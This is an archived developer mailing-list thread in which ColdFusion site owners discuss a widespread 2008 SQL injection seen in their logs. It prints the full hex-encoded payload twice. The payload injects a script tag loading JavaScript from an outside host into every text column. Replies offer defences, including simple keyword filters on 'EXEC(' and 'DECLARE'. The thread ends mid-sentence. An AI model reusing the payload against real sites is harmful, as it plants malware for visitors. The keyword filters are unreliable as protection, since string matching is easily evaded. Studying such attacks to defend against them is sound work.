(ot) URL Hack Attempt Leaves Me Scractching My Head

Just was looking at a 'user monitor' page on one of my sites and I saw the url string below being called. I've seen several sql injection urls before, but what the heck are they trying to accomplish here? Eeverything is cfqueryparam'ed. Thanks, Che /rss.cfm?';DECLARE @S CHAR(4000);SET @S=CAST(0x4445434C415245204054207661726368617228323535292C404320766172636861 72283430303029204445434C415245205461626C655F437572736F7220435552534F5220464F 522073656C65637420612E6E616D652C622E6E616D652066726F6D207379736F626A65637473 20612C737973636F6C756D6E73206220776865726520612E69643D622E696420616E6420612E 78747970653D27752720616E642028622E78747970653D3939206F7220622E78747970653D33 35206F7220622E78747970653D323331206F7220622E78747970653D31363729204F50454E20 5461626C655F437572736F72204645544348204E4558542046524F4D20205461626C655F4375 72736F7220494E544F2040542C4043205748494C4528404046455443485F5354415455533D30 2920424547494E20657865632827757064617465205B272B40542B275D20736574205B272B40 432B275D3D5B272B40432B275D2B2727223E3C2F7469746C653E3C736372697074207372633D 22687474703A2F2F312E766572796E782E636E2F772E6A73223E3C2F7363726970743E3C212D 2D272720776865726520272B40432B27206E6F74206C696B6520272725223E3C2F7469746C65 3E3C736372697074207372633D22687474703A2F2F312E766572796E782E636E2F772E6A7322 3E3C2F7363726970743E3C212D2D272727294645544348204E4558542046524F4D2020546162 6C655F437572736F7220494E544F2040542C404320454E4420434C4F5345205461626C655F43 7572736F72204445414C4C4F43415445205461626C655F437572736F72 AS CHAR(4000));EXEC(@S);

This is a popular and very malicious SQL injection attack that is making the rounds: http://www.coldfusionmuse.com/index.cfm/2008/7/18/Injection-Using-CAST-And-A SCII -Mark Mark A. Kruger, CFG, MCSE (402) 408-3733 ext 105 www.cfwebtools.com www.coldfusionmuse.com www.necfug.com Just was looking at a 'user monitor' page on one of my sites and I saw the url string below being called. I've seen several sql injection urls before, but what the heck are they trying to accomplish here? Eeverything is cfqueryparam'ed. Thanks, Che /rss.cfm?';DECLARE @S CHAR(4000);SET @S=CAST(0x4445434C415245204054207661726368617228323535292C404320766172636861 72283430303029204445434C415245205461626C655F437572736F7220435552534F5220464F 522073656C65637420612E6E616D652C622E6E616D652066726F6D207379736F626A65637473 20612C737973636F6C756D6E73206220776865726520612E69643D622E696420616E6420612E 78747970653D27752720616E642028622E78747970653D3939206F7220622E78747970653D33 35206F7220622E78747970653D323331206F7220622E78747970653D31363729204F50454E20 5461626C655F437572736F72204645544348204E4558542046524F4D20205461626C655F4375 72736F7220494E544F2040542C4043205748494C4528404046455443485F5354415455533D30 2920424547494E20657865632827757064617465205B272B40542B275D20736574205B272B40 432B275D3D5B272B40432B275D2B2727223E3C2F7469746C653E3C736372697074207372633D 22687474703A2F2F312E766572796E782E636E2F772E6A73223E3C2F7363726970743E3C212D 2D272720776865726520272B40432B27206E6F74206C696B6520272725223E3C2F7469746C65 3E3C736372697074207372633D22687474703A2F2F312E766572796E782E636E2F772E6A7322 3E3C2F7363726970743E3C212D2D272727294645544348204E4558542046524F4D2020546162 6C655F437572736F7220494E544F2040542C404320454E4420434C4F5345205461626C655F43 7572736F72204445414C4C4F43415445205461626C655F437572736F72 AS CHAR(4000));EXEC(@S);

This is some sort of encoding... Like Bin Hex, Spammers use it to obscure urls and such. Computers read it just fine. If you look around on the internets you can find a decoder to render it to human readable form. You just need to figure out what sort of encoding they are using ----- Excess quoted text cut - see Original Post for more -----

I am seeing these too on our site, in errors generated by bad data going into a cfqueryparam. If several people on this list are seeing this attack, it must be pretty widespread. -- Josh ----- Excess quoted text cut - see Original Post for more -----

We're getting hit hard today with this. They're failing, because we use cfqueryparam and cfprocparam. But it is quite annoying. -KJ

>>We're getting hit hard today with this. >>/rss.cfm? Is is just rss.cfm? I haven't looked at our logs yet. Where did you see this. The server log files? ~~G~~ > We're getting hit hard today with this. They're failing, because we > use cfqueryparam and cfprocparam. But it is quite annoying. > > -KJ

It'll show in your logs of course. We also have error reports that dump the error info and certain collections and mail it to the dev team. -KJ ----- Excess quoted text cut - see Original Post for more -----

We're getting hit with this attack via a wide range of hosted domains, and various files. Sitemap.cfm is a common one at this point. andy >>We're getting hit hard today with this. >>/rss.cfm? Is is just rss.cfm? I haven't looked at our logs yet. Where did you see this. The server log files? ~~G~~ > We're getting hit hard today with this. They're failing, because we > use cfqueryparam and cfprocparam. But it is quite annoying. > > -KJ > >

>>If several people on this list are seeing this attack, it must be pretty widespread. Until now, I just check for strings "http" or "user" in url.id containing something else than an integer value. I now just added "DECLARE" in the validation. All my templates expecting id=<some numeric> start with this code (included): <CFIF val(id) EQ 0 AND (id CONTAINS "http" OR id CONTAINS "user" OR id CONTAINS "DECLARE")> ... save IP of this guy in the banned addresses table... </CFIF> This is even more efficient than CFQURYPARAM, because this way I'm sure the guy will not have another chance. -- _______________________________________ REUSE CODE! Use custom tags; See http://www.contentbox.com/claude/customtags/tagstore.cfm (Please send any spam to this address: piegeacon@internetique.com) Thanks.

----- Excess quoted text cut - see Original Post for more ----- >CHAR(4000));EXEC(@S);

Even easier than monkeying with every single one of your cfquery's.... just add following line to the TOP of all your application.cfm's: <cfif cgi.SCRIPT_NAME contains "EXEC(" OR cgi.PATH_INFO contains "EXEC(" OR cgi.QUERY_STRING contains "EXEC("><cfabort></cfif> This will immediately shut down execution of any CFM that this piece of trash tries to invoke to execute this particular type of SQL for. peace, j ----- Excess quoted text cut - see Original Post for more -----

And what about my page exec(.cfm?! :OD Just checking my logs now and I'm getting hit by this too. cfqp'd all the way though... Even easier than monkeying with every single one of your cfquery's.... just add following line to the TOP of all your application.cfm's: <cfif cgi.SCRIPT_NAME contains "EXEC(" OR cgi.PATH_INFO contains "EXEC(" OR cgi.QUERY_STRING contains "EXEC("><cfabort></cfif> This will immediately shut down execution of any CFM that this piece of trash tries to invoke to execute this particular type of SQL for. peace, j

Just put the following line at the TOP of your application.cfm to innoculate your CF webs against this attack: <cfif cgi.SCRIPT_NAME contains "EXEC(" OR cgi.PATH_INFO contains "EXEC(" OR cgi.QUERY_STRING contains "EXEC("><cfabort></cfif> peace, j ----- Excess quoted text cut - see Original Post for more -----

I went to look at a site I do side work for and they got hit. No... not my stuff. :) We are going to be reading about this on all the tech rags like Info World and Zdnet tomorrow. ZDnet will prolly post it with a H1 tag with a blink tag for good measure. One of the things about SQL server I never liked was how you could run ore than one sql script at a time. Mysql doesn't allow you to do this LTIL. cfqueryparam... me love you long time. ~G~ "If everything seems under control, you're not going fast enough" -- Mario Andretti

>Just was looking at a 'user monitor' page on one of my sites and I saw the >url string below being called. I've seen several sql injection urls before, >but what the heck are they trying to accomplish here? Eeverything is >cfqueryparam'ed. Thanks, Che > >/rss.cfm?';DECLARE @S CHAR(4000);SET >@S=CAST(0x4445434C415245204054207661726368617228323535292C404320766172636861 Hello, naive question maybe, nevertheless: Can someone confirm that having applied the Microsoft patch(es) mentioned on http://www.microsoft.com/technet/security/bulletin/MS08-040.mspx is sufficient to protect against attacks like these? Who had applied the patch(es) but still was attacked and infected successfully?

This attack has nothing to do with elevation of privilege. It simply tacks on a SQL procedure to a query existing on the page already. This procedure then runs through the tables/columns in the database appending text the end of content in varchar fields. The text appended varies, but what I've seen is a javascript file call, that would run when the affected content was displayed in a browser. I can't see how that security patch would have anything to do with it. (Please enlighten me if I'm wrong.) > Can someone confirm that having applied the Microsoft patch(es) mentioned on > ht